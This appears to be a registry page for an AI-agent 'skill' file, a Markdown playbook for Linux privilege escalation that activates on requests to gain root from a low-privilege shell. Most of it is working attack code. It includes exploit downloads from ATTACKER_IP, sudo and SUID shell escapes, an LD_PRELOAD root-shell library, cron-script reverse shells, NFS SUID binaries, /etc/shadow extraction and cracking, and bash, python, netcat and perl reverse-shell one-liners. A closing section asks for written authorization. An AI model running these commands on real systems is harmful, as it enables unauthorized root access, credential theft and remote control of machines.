This skill should be used when the user asks to "escalate privileges on Linux", "find privesc vectors on Linux systems", "exploit sudo misconfigurations", "abuse SUID binaries", "exploit cron jobs for root access", "enumerate Linux systems for privilege escalation", or "gain root access from low-privilege shell". It provides comprehensive techniques for identifying and exploiting privilege escalation paths on Linux systems.
Add this skill
npx mdskills install sickn33/linux-privilege-escalationComprehensive privilege escalation guide with detailed techniques, examples, and troubleshooting
1---2name: Linux Privilege Escalation3description: This skill should be used when the user asks to "escalate privileges on Linux", "find privesc vectors on Linux systems", "exploit sudo misconfigurations", "abuse SUID binaries", "exploit cron jobs for root access", "enumerate Linux systems for privilege escalation", or "gain root access from low-privilege shell". It provides comprehensive techniques for identifying and exploiting privilege escalation paths on Linux systems.4metadata:5 author: zebbern6 version: "1.1"7---89# Linux Privilege Escalation1011## Purpose1213Execute systematic privilege escalation assessments on Linux systems to identify and exploit misconfigurations, vulnerable services, and security weaknesses that allow elevation from low-privilege user access to root-level control. This skill enables comprehensive enumeration and exploitation of kernel vulnerabilities, sudo misconfigurations, SUID binaries, cron jobs, capabilities, PATH hijacking, and NFS weaknesses.1415## Inputs / Prerequisites1617### Required Access18- Low-privilege shell access to target Linux system19- Ability to execute commands (interactive or semi-interactive shell)20- Network access for reverse shell connections (if needed)21- Attacker machine for payload hosting and receiving shells2223### Technical Requirements24- Understanding of Linux filesystem permissions and ownership25- Familiarity with common Linux utilities and scripting26- Knowledge of kernel versions and associated vulnerabilities27- Basic understanding of compilation (gcc) for custom exploits2829### Recommended Tools30- LinPEAS, LinEnum, or Linux Smart Enumeration scripts31- Linux Exploit Suggester (LES)32- GTFOBins reference for binary exploitation33- John the Ripper or Hashcat for password cracking34- Netcat or similar for reverse shells3536## Outputs / Deliverables3738### Primary Outputs39- Root shell access on target system40- Privilege escalation path documentation41- System enumeration findings report42- Recommendations for remediation4344### Evidence Artifacts45- Screenshots of successful privilege escalation46- Command output logs demonstrating root access47- Identified vulnerability details48- Exploited configuration files4950## Core Workflow5152### Phase 1: System Enumeration5354#### Basic System Information55Gather fundamental system details for vulnerability research:5657```bash58# Hostname and system role59hostname6061# Kernel version and architecture62uname -a6364# Detailed kernel information65cat /proc/version6667# Operating system details68cat /etc/issue69cat /etc/*-release7071# Architecture72arch73```7475#### User and Permission Enumeration7677```bash78# Current user context79whoami80id8182# Users with login shells83cat /etc/passwd | grep -v nologin | grep -v false8485# Users with home directories86cat /etc/passwd | grep home8788# Group memberships89groups9091# Other logged-in users92w93who94```9596#### Network Information9798```bash99# Network interfaces100ifconfig101ip addr102103# Routing table104ip route105106# Active connections107netstat -antup108ss -tulpn109110# Listening services111netstat -l112```113114#### Process and Service Enumeration115116```bash117# All running processes118ps aux119ps -ef120121# Process tree view122ps axjf123124# Services running as root125ps aux | grep root126```127128#### Environment Variables129130```bash131# Full environment132env133134# PATH variable (for hijacking)135echo $PATH136```137138### Phase 2: Automated Enumeration139140Deploy automated scripts for comprehensive enumeration:141142```bash143# LinPEAS144curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh145146# LinEnum147./LinEnum.sh -t148149# Linux Smart Enumeration150./lse.sh -l 1151152# Linux Exploit Suggester153./les.sh154```155156Transfer scripts to target system:157158```bash159# On attacker machine160python3 -m http.server 8000161162# On target machine163wget http://ATTACKER_IP:8000/linpeas.sh164chmod +x linpeas.sh165./linpeas.sh166```167168### Phase 3: Kernel Exploits169170#### Identify Kernel Version171172```bash173uname -r174cat /proc/version175```176177#### Search for Exploits178179```bash180# Use Linux Exploit Suggester181./linux-exploit-suggester.sh182183# Manual search on exploit-db184searchsploit linux kernel [version]185```186187#### Common Kernel Exploits188189| Kernel Version | Exploit | CVE |190|---------------|---------|-----|191| 2.6.x - 3.x | Dirty COW | CVE-2016-5195 |192| 4.4.x - 4.13.x | Double Fetch | CVE-2017-16995 |193| 5.8+ | Dirty Pipe | CVE-2022-0847 |194195#### Compile and Execute196197```bash198# Transfer exploit source199wget http://ATTACKER_IP/exploit.c200201# Compile on target202gcc exploit.c -o exploit203204# Execute205./exploit206```207208### Phase 4: Sudo Exploitation209210#### Enumerate Sudo Privileges211212```bash213sudo -l214```215216#### GTFOBins Sudo Exploitation217Reference https://gtfobins.github.io for exploitation commands:218219```bash220# Example: vim with sudo221sudo vim -c ':!/bin/bash'222223# Example: find with sudo224sudo find . -exec /bin/sh \; -quit225226# Example: awk with sudo227sudo awk 'BEGIN {system("/bin/bash")}'228229# Example: python with sudo230sudo python -c 'import os; os.system("/bin/bash")'231232# Example: less with sudo233sudo less /etc/passwd234!/bin/bash235```236237#### LD_PRELOAD Exploitation238When env_keep includes LD_PRELOAD:239240```c241// shell.c242#include <stdio.h>243#include <sys/types.h>244#include <stdlib.h>245246void _init() {247 unsetenv("LD_PRELOAD");248 setgid(0);249 setuid(0);250 system("/bin/bash");251}252```253254```bash255# Compile shared library256gcc -fPIC -shared -o shell.so shell.c -nostartfiles257258# Execute with sudo259sudo LD_PRELOAD=/tmp/shell.so find260```261262### Phase 5: SUID Binary Exploitation263264#### Find SUID Binaries265266```bash267find / -type f -perm -04000 -ls 2>/dev/null268find / -perm -u=s -type f 2>/dev/null269```270271#### Exploit SUID Binaries272Reference GTFOBins for SUID exploitation:273274```bash275# Example: base64 for file reading276LFILE=/etc/shadow277base64 "$LFILE" | base64 -d278279# Example: cp for file writing280cp /bin/bash /tmp/bash281chmod +s /tmp/bash282/tmp/bash -p283284# Example: find with SUID285find . -exec /bin/sh -p \; -quit286```287288#### Password Cracking via SUID289290```bash291# Read shadow file (if base64 has SUID)292base64 /etc/shadow | base64 -d > shadow.txt293base64 /etc/passwd | base64 -d > passwd.txt294295# On attacker machine296unshadow passwd.txt shadow.txt > hashes.txt297john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt298```299300#### Add User to passwd (if nano/vim has SUID)301302```bash303# Generate password hash304openssl passwd -1 -salt new newpassword305306# Add to /etc/passwd (using SUID editor)307newuser:$1$new$p7ptkEKU1HnaHpRtzNizS1:0:0:root:/root:/bin/bash308```309310### Phase 6: Capabilities Exploitation311312#### Enumerate Capabilities313314```bash315getcap -r / 2>/dev/null316```317318#### Exploit Capabilities319320```bash321# Example: python with cap_setuid322/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'323324# Example: vim with cap_setuid325./vim -c ':py3 import os; os.setuid(0); os.execl("/bin/bash", "bash", "-c", "reset; exec bash")'326327# Example: perl with cap_setuid328perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'329```330331### Phase 7: Cron Job Exploitation332333#### Enumerate Cron Jobs334335```bash336# System crontab337cat /etc/crontab338339# User crontabs340ls -la /var/spool/cron/crontabs/341342# Cron directories343ls -la /etc/cron.*344345# Systemd timers346systemctl list-timers347```348349#### Exploit Writable Cron Scripts350351```bash352# Identify writable cron script from /etc/crontab353ls -la /opt/backup.sh # Check permissions354echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /opt/backup.sh355356# If cron references non-existent script in writable PATH357echo -e '#!/bin/bash\nbash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' > /home/user/antivirus.sh358chmod +x /home/user/antivirus.sh359```360361### Phase 8: PATH Hijacking362363```bash364# Find SUID binary calling external command365strings /usr/local/bin/suid-binary366# Shows: system("service apache2 start")367368# Hijack by creating malicious binary in writable PATH369export PATH=/tmp:$PATH370echo -e '#!/bin/bash\n/bin/bash -p' > /tmp/service371chmod +x /tmp/service372/usr/local/bin/suid-binary # Execute SUID binary373```374375### Phase 9: NFS Exploitation376377```bash378# On target - look for no_root_squash option379cat /etc/exports380381# On attacker - mount share and create SUID binary382showmount -e TARGET_IP383mount -o rw TARGET_IP:/share /tmp/nfs384385# Create and compile SUID shell386echo 'int main(){setuid(0);setgid(0);system("/bin/bash");return 0;}' > /tmp/nfs/shell.c387gcc /tmp/nfs/shell.c -o /tmp/nfs/shell && chmod +s /tmp/nfs/shell388389# On target - execute390/share/shell391```392393## Quick Reference394395### Enumeration Commands Summary396| Purpose | Command |397|---------|---------|398| Kernel version | `uname -a` |399| Current user | `id` |400| Sudo rights | `sudo -l` |401| SUID files | `find / -perm -u=s -type f 2>/dev/null` |402| Capabilities | `getcap -r / 2>/dev/null` |403| Cron jobs | `cat /etc/crontab` |404| Writable dirs | `find / -writable -type d 2>/dev/null` |405| NFS exports | `cat /etc/exports` |406407### Reverse Shell One-Liners408```bash409# Bash410bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1411412# Python413python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'414415# Netcat416nc -e /bin/bash ATTACKER_IP 4444417418# Perl419perl -e 'use Socket;$i="ATTACKER_IP";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");'420```421422### Key Resources423- GTFOBins: https://gtfobins.github.io424- LinPEAS: https://github.com/carlospolop/PEASS-ng425- Linux Exploit Suggester: https://github.com/mzet-/linux-exploit-suggester426427## Constraints and Guardrails428429### Operational Boundaries430- Verify kernel exploits in test environment before production use431- Failed kernel exploits may crash the system432- Document all changes made during privilege escalation433- Maintain access persistence only as authorized434435### Technical Limitations436- Modern kernels may have exploit mitigations (ASLR, SMEP, SMAP)437- AppArmor/SELinux may restrict exploitation techniques438- Container environments limit kernel-level exploits439- Hardened systems may have restricted sudo configurations440441### Legal and Ethical Requirements442- Written authorization required before testing443- Stay within defined scope boundaries444- Report critical findings immediately445- Do not access data beyond scope requirements446447## Examples448449### Example 1: Sudo to Root via find450451**Scenario**: User has sudo rights for find command452453```bash454$ sudo -l455User user may run the following commands:456 (root) NOPASSWD: /usr/bin/find457458$ sudo find . -exec /bin/bash \; -quit459# id460uid=0(root) gid=0(root) groups=0(root)461```462463### Example 2: SUID base64 for Shadow Access464465**Scenario**: base64 binary has SUID bit set466467```bash468$ find / -perm -u=s -type f 2>/dev/null | grep base64469/usr/bin/base64470471$ base64 /etc/shadow | base64 -d472root:$6$xyz...:18000:0:99999:7:::473474# Crack offline with john475$ john --wordlist=rockyou.txt shadow.txt476```477478### Example 3: Cron Job Script Hijacking479480**Scenario**: Root cron job executes writable script481482```bash483$ cat /etc/crontab484* * * * * root /opt/scripts/backup.sh485486$ ls -la /opt/scripts/backup.sh487-rwxrwxrwx 1 root root 50 /opt/scripts/backup.sh488489$ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >> /opt/scripts/backup.sh490491# Wait 1 minute492$ /tmp/bash -p493# id494uid=1000(user) gid=1000(user) euid=0(root)495```496497## Troubleshooting498499| Issue | Solutions |500|-------|-----------|501| Exploit compilation fails | Check for gcc: `which gcc`; compile on attacker for same arch; use `gcc -static` |502| Reverse shell not connecting | Check firewall; try ports 443/80; use staged payloads; check egress filtering |503| SUID binary not exploitable | Verify version matches GTFOBins; check AppArmor/SELinux; some binaries drop privileges |504| Cron job not executing | Verify cron running: `service cron status`; check +x permissions; verify PATH in crontab |505
Full transparency — inspect the skill content before installing.